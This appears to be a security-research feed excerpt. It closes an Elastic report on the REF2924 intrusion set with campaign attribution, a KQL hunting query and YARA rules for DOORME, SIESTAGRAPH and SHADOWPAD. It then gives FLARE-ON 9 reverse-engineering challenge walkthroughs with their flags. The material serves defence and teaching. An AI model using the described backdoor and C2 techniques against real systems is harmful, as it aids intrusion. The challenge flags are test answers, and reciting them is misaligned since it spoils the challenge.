<p>In early 2022, Elastic observed a short-lived intrusion into a telecommunications provider in Afghanistan. Using code analysis and event sampling, we internally attributed these sightings to WINNTI malware implants and external research overlaps with the <a href="https://attack.mitre.org/groups/G0044/">Winnti Group</a>. We continue to track this intrusion set, independently of and in relation to REF2924 observations.</p>
<h3>REF2924, ChamelGang, Winnti</h3>
<p>In early December 2022, we <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">observed</a> Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member. Our research identified the presence of the DOORME backdoor, SHADOWPAD, and a new malware implant we call SIESTAGRAPH (discussed in the SIESTAGRAPH code analysis section above).</p>
<p>In researching the events of REF2924, we believe they are consistent with details noted by <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">Positive Technologies' research into ChamelGang</a>, and likely represent the actions of one group with shared goals.</p>
<h3>Undisclosed REF, ChamelGang</h3>
<p>Using the DOORME IIS backdoor that we collected during research into REF2924, we developed a scanner that identified the presence of DOORME on an internet-connected Exchange server at a second telecommunications provider in Afghanistan.</p>
<h3>Campaign associations</h3>
<p>Building associations between events, especially when relying on third-party reporting, is a delicate balance between surfacing value from specific observations and suppressing noise from circular reporting. Details reported by research teams and consisting of atomic indicators, techniques, procedures, and capabilities provide tremendous value in spotting associations between activity clusters. Elements of evidence that are repeated multiple times via circular reporting can lead to over-weighting that evidence. In analyzing these activity clusters, we have specific observations from our telemetry (host artifacts, capabilities, functionality, and adversary techniques) and third-party reporting consistent with our findings.</p>
<p>We use third-party reporting as supporting, but not factual, evidence to add context to our specific observations. It may be possible to verify a third-party had firsthand visibility of a threat, but that’s a rare luxury. We used estimative language in building associations where appropriate.</p>
<p>To uncover potential associations among these campaigns, we weighed host artifacts, tools, and TTPs more heavily than transitory atomic indicators like hashes, IP addresses, and domains.</p>
<p>We’ll discuss notable (non-exhaustive) overlaps in the following section.</p>
<h4>Campaigns 1 and 3</h4>
<p>Campaigns 1 (<a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">Winnti</a>) and 3 (<a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">REF2924, ChamelGang, Winnti</a>) are related by several elements: the use of the SHADOWPAD malware family, the specific file names ( <strong>log.dll</strong> and <strong>log.dll.dat</strong> ), and the injection technique using the same BitDefender hash.</p>
<h4>Campaigns 3 and 4</h4>
<p>Campaigns 3 (REF2924, ChamelGang, Winnti) and 4 (Undisclosed REF, ChamelGang) are related by the presence of a specifically configured DOORME backdoor and a shared national strategic interest for the adversary.</p>
<p>Using network scan results for about 180k publicly-accessible Exchange servers, and specific authentication elements uncovered while reverse engineering REF2924’s DOORME sample, we were able to identify an identical DOORME configuration at a second telecommunications provider in Afghanistan. This was a different victim than Campaign 2 (Undisclosed REF, Winnti).</p>
<p>While the DOORME IIS backdoor is not widely prevalent, simply having DOORME in your environment isn’t a strong enough data point to build an association. The presence of this DOORME configuration, when compared to a search of 180k other Exchange servers and the moderate confidence of the national strategic interests, led us to associate Campaigns 3 and 4 together with high confidence and that Campaign 4 was also a part of the same threat group.</p>
<h2>Summary</h2>
<p>DOORME allows for a threat actor to access a targeted network through the use of a backdoored IIS module on an internet-connected server. DOORME includes the capability to collect information about the infected host, upload shellcode chunks to evade detection, and execute shellcode in memory.</p>
<p>SIESTAGRAPH is an implant discovered by Elastic Security Labs that uses the Microsoft Graph API for command and control. The Graph API is used for interacting with Microsoft Office 365, so C2 communication would be largely masked by legitimate network traffic. Elastic Security Labs has reported the tenant ID hard coded into SIESTAGRAPH to Microsoft.</p>
<p>Based on our code analysis and the limited internet presence of DOORME and SIESTAGRAPH, we believe that this intrusion set is used by a limited distribution, or singular, threat actor.</p>
<p>SHADOWPAD is a modular malware family that is used as a way to load and execute shellcode onto a victim system. While it has been tracked since 2017, SHADOWPAD continues to be a capable and popular remote access and persistence tool.</p>
<p>The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group that appears focused on priorities that, when observed across campaigns, align with a sponsored national strategic interest.</p>
<h2>Detections</h2>
<h3>Hunting queries</h3>
<p>Hunting queries are used as a starting point for potentially malicious events, but because every environment is different, an investigation should be completed.</p>
<p>The following KQL query can be used to hunt for additional behaviors related to SIESTAGRAPH. This query looks for processes that are making DNS queries to graph.microsoft.com where the process does not have a trusted code-signing certificate or the process is not signed by Microsoft.</p>
<pre><code>dns.question.name : &quot;graph.microsoft.com&quot; and (process.code_signature.trusted : “false” or not (process.code_signature.subject_name : &quot;Microsoft Windows&quot; or process.code_signature.subject_name : &quot;Microsoft Windows Publisher&quot; or process.code_signature.subject_name : &quot;Microsoft Corporation&quot;)) and process.name : *
</code></pre>
<h3>Signatures</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoorMe.yar">Windows.Trojan.DoorMe</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SiestaGraph.yar">Windows.Trojan.SiestaGraph</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_ShadowPad.yar">Windows.Trojan.ShadowPad</a></li>
</ul>
<h3>YARA rules</h3>
<h4>The DOORME IIS module</h4>
<pre><code>rule Windows_Trojan_DoorMe {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-09&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;DoorMe&quot;
        threat_name = &quot;Windows.Trojan.DoorMe&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = &quot;.?AVDoorme@@&quot; ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}
</code></pre>
<h4>The SIESTAGRAPH implant</h4>
<pre><code>rule Windows_Trojan_SiestaGraph {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-14&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;windows&quot;
        arch_context = &quot;x86&quot;
        category_type = “Trojan”
        family = “SiestaGraph”
        threat_name = &quot;Windows.Trojan.SiestaGraph&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $a1 = &quot;downloadAsync&quot; ascii nocase fullword
        $a2 = &quot;UploadxAsync&quot; ascii nocase fullword
        $a3 = &quot;GetAllDriveRootChildren&quot; ascii fullword
        $a4 = &quot;GetDriveRoot&quot; ascii fullword
        $a5 = &quot;sendsession&quot; wide fullword
        $b1 = &quot;ListDrives&quot; wide fullword
        $b2 = &quot;Del OK&quot; wide fullword
        $b3 = &quot;createEmailDraft&quot; ascii fullword
        $b4 = &quot;delMail&quot; ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}
</code></pre>
<h4>The SHADOWPAD malware family</h4>
<pre><code>rule Windows_Trojan_ShadowPad_1 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-23&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD obfuscation loader+payload&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;ShadowPad&quot;
		threat_name = &quot;Windows.Trojan.ShadowPad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = { 87 0? 24 0F 8? }
		$a2 = { 9C 0F 8? }
		$a3 = { 03 0? 0F 8? }
		$a4 = { 9D 0F 8? }
		$a5 = { 87 0? 24 0F 8? }
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_2 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-31&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD loader&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;Shadowpad&quot;
		threat_name = &quot;Windows.Trojan.Shadowpad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = &quot;{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}&quot;
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_3 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-31&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD payload&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;Shadowpad&quot;
		threat_name = &quot;Windows.Trojan.Shadowpad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = &quot;hH#whH#w&quot; fullword
		$a2 = &quot;Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv&lt;Yuvb#tv1Yuv-8tv&amp;Yuv&quot; fullword
		$a3 = &quot;pH#wpH#w&quot; fullword
		$a4 = &quot;HH#wHH#wA&quot; fullword
		$a5 = &quot;xH#wxH#w:$&quot; fullword
		$re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
	condition:
		4 of them
}
</code></pre>
<h2>References</h2>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/">https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/</a></li>
<li><a href="https://www.secureworks.com/research/shadowpad-malware-analysis">https://www.secureworks.com/research/shadowpad-malware-analysis</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/bronze-university">https://www.secureworks.com/research/threat-profiles/bronze-university</a></li>
<li><a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/</a></li>
</ul>
<h2>Indicators</h2>
<p>Artifacts are available from the <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#observables">previously published REF2924 research</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/photo-edited-02@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[FLARE-ON 9 Solutions:]]></title>
            <link>https://www.elastic.co/pt/security-labs/flare-on-9-solutions-burning-down-the-house</link>
            <guid>flare-on-9-solutions-burning-down-the-house</guid>
            <pubDate>Wed, 04 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This year's FLARE-ON consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>To celebrate cybersecurity month, the Malware Analysis and Reverse Engineering Team (MARE) enjoyed participating in the Mandiant <a href="https://www.mandiant.com/resources/blog/announcing-ninth-flareon-challenge">FLARE-ON Challenge</a>. FLARE-ON is an excellent event for participants of all backgrounds and experience levels who want to learn more about malware analysis. This year consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.</p>
<h3>Challenge 1 - “Flaredle”</h3>
<blockquote>
<p>Welcome to FLARE-ON 9! You probably won't win. Maybe you're like us and spent the year playing Wordle. We made our own version that is too hard to beat without cheating. Play it live at: <a href="http://flare-on.com/flaredle/">http://flare-on.com/flaredle/</a></p>
</blockquote>
<h4>Solution</h4>
<p>After downloading and unpacking the file, we see 4 file objects. <img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image9.jpg" alt="" /></p>
<p>The index.html file and accompanying js files give away what we are talking about is a HTML/JavaScript challenge. Opening the file script.js confirms our suspicion. In the first few lines of code the answer to the challenge is clear to the trained eye. Let’s explain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image72.jpg" alt="" /></p>
<p>On line 9 the value of <strong>rightGuessString</strong> translates to WORDS[57]. Even if you don't know javascript, the variables and iterative loop suggest an evaluation of the user-supplied guess (rightGuessString) and a hard-coded value. If we look at the contents of words.js, we see the correct value on the 58th line (javascript arrays begin with 0 but the file start at line 1): &quot;flareonisallaboutcats&quot;.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image97.jpg" alt="" /></p>
<p>By visiting the online game and submitting this string, we can validate the correct flag for challenge one!</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image27.jpg" alt="" /></p>
<p><strong>Flag:</strong> <a href="mailto:flareonisallaboutcats@flare-on.com">flareonisallaboutcats@flare-on.com</a></p>
<h2>Challenge 2 - “Pixel Poker”</h2>
<blockquote>
<p>I said you wouldn't win that last one. I lied. The last challenge was basically a captcha. Now the real work begins. Shall we play another game?</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge consists of a 32-bit Windows application that has been sweeping the nation, called Pixel Poker! Users get 10 attempts to click on the correct pixel from the window before the program terminates.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image8.jpg" alt="" /></p>
<p>The error message after 10 failed attempts provided a reliable lead to follow, and we focused on where that click restriction was implemented. We converted that decimal value of 10 into hexadecimal (0xA) and kicked off an immediate value search.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image88.jpg" alt="" /></p>
<p>The first result from our search is listed with instructions: <strong>cmp eax, 10</strong>. You might not be fluent in assembly, but “cmp” is a mathematical instruction to compare the contents of “eax” with the number ten. At first glance, that looks like the kind of logic behind that click restriction.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image98.jpg" alt="" /></p>
<p>By viewing the decompiled code, we can confirm this is our intended target instruction with the error message we saw on prior screenshot after the 10 attempts. We’re one step closer to knowing where to click in the window.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image78.jpg" alt="" /></p>
<p>In order to locate the validation logic and those coordinates, we look at code in close proximity to the previous error message. We observe two instances where the EAX register is populated using strings (“FLAR”) and (“E-On”) that then get divided with hardcoded values and compared with our clicked pixel values.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image12.jpg" alt="" /></p>
<p>After these straightforward operations, we derive two coordinates (95, 313). If you are up for a challenge and haven’t had too much coffee, go on and click that pixel.</p>
<p>The flag can also be attained by leveraging a debugger and enabling the zero-flag (ZF) on two JNZ (jump-if-not-zero) instructions that appear directly after the previously-mentioned compare checks. This method allows us to bypass manually clicking the correct pixel location.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image68.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image64.jpg" alt="" /></p>
<p>For fun, we wrote a small program to patch out the click restriction and brute force clicking all available pixels using the SendMessage API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image4.jpg" alt="" /></p>
<p>Two minutes and about 100,000 clicks later, the flag was released to us.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image55.jpg" alt="" /></p>
<p>*<em>Flag: *_w1nN3r_W!NneR</em><a href="mailto:cHick3n_d1nNer@flare-on.com">cHick3n_d1nNer@flare-on.com</a></p>
<h2>Challenge 3 - “Magic 8 Ball”</h2>
<blockquote>
<p>You got a question? Ask the 8 ball!</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge appeared to be an interactive 8-ball game developed with an open source SDL <a href="https://www.libsdl.org/">library</a>. Based on quick observations, there are two obvious inputs moving the 8-ball directionally (left, up, down, right) and an input box with a maximum of 75 characters.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image75.jpg" alt="" /></p>
<p>The first starting point was tracing the string “Press arrow keys to shake the ball” that was displayed in the application. The decompiled view of the function containing this string showed another string directly above it was being copied (“gimme flag pls?”).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image82.jpg" alt="" /></p>
<p>Our next pivot was reviewing the code calling this function for more context. After the software executes and the game is displayed, a “do while” loop polls for input.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image87.jpg" alt="" /></p>
<p>One function we reviewed stood out, one containing multiple “if then” conditional statements based on single character values.</p>
<p>Our malware analysts begin their careers in childhood, diligently playing video games for literally hours at a time– to them this pattern resembles the <a href="https://en.wikipedia.org/wiki/Konami_Code">Konami</a> code, by which players enabled undocumented features after entering a series of inputs (left, left, up, right, up, left, down, up, left).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image30.jpg" alt="" /></p>
<p>By moving the 8-ball first in this order of operations and then entering the previously-recovered string (“gimme flag pls?”), we unlocked the flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image85.jpg" alt="" /></p>
<p><strong>Flag:</strong> U<em>cRackeD_th1$_maG1cBaLL</em>!! <a href="mailto:_@flare-on.com">_@flare-on.com</a></p>
<h2>Challenge 4 - “darn_mice”</h2>
<blockquote>
<p>&quot;If it crashes it's user error.&quot; -Flare Team</p>
</blockquote>
<h3>Solution</h3>
<p>The fourth challenge was a 32bit PE binary. Executed without any arguments, the binary initially appeared to run briefly before terminating. When run with arguments, though, we see a strange error message.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image2.jpg" alt="" /></p>
<p>After opening the binary in IDA and tracing that error, we determined that the first argument is being passed to the function sub_401000.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image23.jpg" alt="" /></p>
<p>In this function we see that our input is added to the values of a constant array, and at line 51 we see that the result is executed as code. This means that our input and the value in the array are resolved as an opcode which is returned. And that means a NOP opcode (0x90) isn’t an option, if you’re following along. The opcode we’re looking for is RET (0xC3): we copied the byte sequences out of IDA and hacked together an evaluation in Python.</p>
<pre><code>arr = [0x50,0x5E,0x5E,0xA3,0x4F,0x5B,0x51,0x5E,0x5E,0x97,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA2,0xA3,0x6B,0x7F]&quot;&quot;.join([chr(0xC3 - c) for c in arr])
</code></pre>
<p>Using the current input we can retrieve the flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image60.png" alt="" /></p>
<p><strong>Flag:</strong> i<em>w0uld_l1k3_to_RETurn_this</em><a href="mailto:joke@flare-on.com">joke@flare-on.com</a></p>
<h2>Challenge 5 - “T8”</h2>
<blockquote>
<p>FLARE FACT #823: Studies show that C++ Reversers have fewer friends on average than normal people do. That's why you're here, reversing this, instead of with them, because they don't exist. We’ve found an unknown executable on one of our hosts. The file has been there for a while, but our networking logs only show suspicious traffic on one day. Can you tell us what happened?</p>
</blockquote>
<h3>Solution</h3>
<p>For this challenge, we’ve been provided with a PCAP in addition to a binary.</p>
<h4>PCAP file overview</h4>
<p>The PCAP contains the communication between the binary and a C2 server (not provided). Having studied thousands of PCAPs, we note an exchange between the binary and C2 server that resembles base64.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image99.jpg" alt="" /></p>
<h4>Binary overview</h4>
<p>This binary appears to be written in C++ or implement classes in a similar way.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image53.jpg" alt="" /></p>
<p>If this binary is written in C++, our goal is to find the VTABLE and reconstruct it. The VTABLE in question is located in .rdata at the address 0x0100B918, which means we can stop speculating about this being C++.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image49.jpg" alt="" /></p>
<p>Renaming the VTABLE functions makes analysis easier and more efficient. We stepped through execution, and a few operations stood out. Following the flow of execution, a pseudorandom string was generated by the function located at 0x0FC1020, using the srand and rand APIs to randomly generate 5 digits. After appending those to the substring FO9, the entire string is MD5-hashed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image34.jpg" alt="" /></p>
<p>The string “ahoy” is RC4-encrypted using the MD5 hash as a key, and then the result is base64-encoded and sent to the server using an HTTP POST request. Data sent back from C2 is base64-decoded and then decrypted using the same MD5 hash. To proceed with the challenge, we’ll need to apply our understanding of this configuration.</p>
<p>Our next objective is to bruteforce the random string to derive the RC4 key. To do that, we wrote a script to generate a word list of all the possible values for that string of eight characters which will resemble “FO9&lt;5DIGITS&gt;”. We also know that the string “ahoy” is encrypted and encoded by this process, which means we can look for that string in the PCAP by searching for “ydN8BXq16RE=”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image77.jpg" alt="" /></p>
<p>Our script tells us the random string (F0911950) and hash (a5c6993299429aa7b900211d4a279848), so we can emulate the C2 server and replay the PCAP to decrypt the data. But, as seen in the screenshot below, just putting a breakpoint after the decrypt_server_data function we can find the flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image17.jpg" alt="" /></p>
<p><strong>Flag:</strong> i<em>s33</em><a href="mailto:you_m00n@flare-on.com">you_m00n@flare-on.com</a></p>
<h2>Challenge 6 - “à la mode”</h2>
<blockquote>
<p>FLARE FACT #824: Disregard flare fact #823 if you are a .NET Reverser too. We will now reward your fantastic effort with a small binary challenge. You've earned it kid!</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge starts off in a hauntingly familiar way: with an incident response chat log and a .NET DLL.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image74.jpg" alt="" /></p>
<p>The chat log offers a clue that another (missing) component may interact with the DLL.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image46.jpg" alt="" /></p>
<p>Working with .NET samples often, you’ll be familiar with dnSpy. Right away we spotted a function of the DLL labeled GetFlag and containing client-side code for connecting to a NamedPipe called FlareOn.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image38.jpg" alt="" /></p>
<p>Given the previous clue, we know there is something more to this DLL. We opened it in IDA and noted some interesting strings, which appear superficially similar.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image91.jpg" alt="" /></p>
<p>Cross-referencing these strings led us to a simple encryption function used throughout the program with a single-byte XOR (0x17). In this function the library imports are consistent with NamedPipe functionality.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image92.jpg" alt="" /></p>
<p>After annotating the libraries and reviewing this functionality, it establishes a named pipe and performs validation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image96.jpg" alt="" /></p>
<p>This validation function uses a new string encryption function and string comparison (lstrcmpA) when the connection occurs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image90.jpg" alt="" /></p>
<p>With this information, we used x64dbg to set this validation function as the origin function and retrieved the decrypted flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image45.jpg" alt="" /></p>
<p><strong>Flag:</strong> M1x3d<em>M0dE</em><a href="mailto:4_l1f3@flare-on.com">4_l1f3@flare-on.com</a></p>
<h2>Challenge 7 - “anode”</h2>
<blockquote>
<p>You've made it so far! I can't believe it! And so many people are ahead of you!</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge is a 55 MB Windows PE file which appears to be a packed Node.js binary. When the binary is executed it asks for a flag and returns a “Try Again” error message.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg</p>
<p>Conveniently (but not helpfully), we see it when we search strings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image70.jpg" alt="" /></p>
<p>We can better locate it using the HxD hex editor, which reveals it in a larger blob of cleartext code.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image1.jpg" alt="" /></p>
<p>This blob of code also tells us that the flag is expected to have a length of 44 characters. Sometimes the wrong answer tells you enough to get the right one, though. The attempt generated a new error, though. Readers should note that this attempt was coincidentally made using an unpacked version.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image25.jpg" alt="" /></p>
<p>That error message appears in the cleartext blog of code we discovered, which helps us locate the responsible logic and get one step closer to the right flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image16.jpg" alt="" /></p>
<p>Curiously, when submitting the same bad flag using the packed binary, the error is different.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg</p>
<p>If we comment the condition out to bypass that validation, we get another new error.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image41.jpg" alt="" /></p>
<p>Something is definitely happening, and while experimenting has revealed a few things we should finish reviewing this cleartext blob of code to understand how the challenge works. It appears as though the flag is submitted and transformed within a state machine that we need to figure out.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image36.jpg" alt="" /></p>
<p>And the result of that state machine operation is evaluated against the correct flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image14.jpg" alt="" /></p>
<p>But now we have a different (bigger) problem, because it looks like each value is XOR-encrypted with a randomly-generated value supplied by the math.random function. Also we don’t know the sequence of values that produce the expected sequence of operations. But this is functional in the challenge binary, which means there’s a fixed sequence of randoms.</p>
